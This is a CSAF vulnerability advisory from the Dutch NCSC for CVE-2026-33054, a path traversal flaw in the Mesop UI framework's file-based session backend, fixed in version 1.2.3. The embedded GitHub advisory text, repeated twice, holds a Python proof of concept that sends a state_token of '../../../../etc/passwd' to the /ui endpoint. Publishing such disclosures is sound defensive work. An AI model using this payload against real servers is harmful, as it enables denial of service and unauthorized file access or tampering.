{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33054", "tracking": { "current_release_date": "2026-03-25T08:16:12.505912Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33054", "initial_release_date": "2026-03-18T20:44:21.212650Z", "revision_history": [ { "date": "2026-03-18T20:44:21.212650Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-18T20:44:27.836985Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-19T11:39:59.028626Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T18:27:11.489967Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T18:27:17.022857Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:28:57.819481Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-20T18:29:01.030170Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:33:36.093626Z", "number": "8", "summary": "Unknown change." }, { "date": "2026-03-20T21:41:27.146806Z", "number": "9", "summary": "References created (3)." }, { "date": "2026-03-20T21:59:08.318736Z", "number": "10", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T21:59:12.684422Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-21T13:47:11.845949Z", "number": "12", "summary": "References removed (3)." }, { "date": "2026-03-22T00:51:38.127718Z", "number": "13", "summary": "References created (3)." }, { "date": "2026-03-24T20:51:51.484672Z", "number": "14", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-24T20:51:54.847379Z", "number": "15", "summary": "NCSC Score updated." } ], "status": "interim", "version": "15" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.2.3", "product": { "name": "vers:unknown/<1.2.3", "product_id": "CSAFPID-5874528", "product_identification_helper": { "cpe": "cpe:2.3:a:mesop-dev:mesop:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "mesop" } ], "category": "vendor", "name": "mesop-dev" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33054", "cwe": { "id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" }, "notes": [ { "category": "description", "text": "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n def _make_file_path(self, token: str) -> Path:\n return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n \"http://localhost:32123/ui\",\n data=serialized_event,\n headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.", "title": "github - https://github.com/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "description", "text": "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n def _make_file_path(self, token: str) -> Path:\n return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n \"http://localhost:32123/ui\",\n data=serialized_event,\n headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.", "title": "github - https://api.github.com/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "description", "text": "Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33054.json" }, { "category": "description", "text": "Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33054" }, { "category": "other", "text": "0.00056", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5874528" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33054.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33054" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-8qvf-mr4w-9x2c" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.3" }, { "category": "external", "summary": "Reference - github", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33054" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-5874528" ] } ], "title": "CVE-2026-33054" } ] }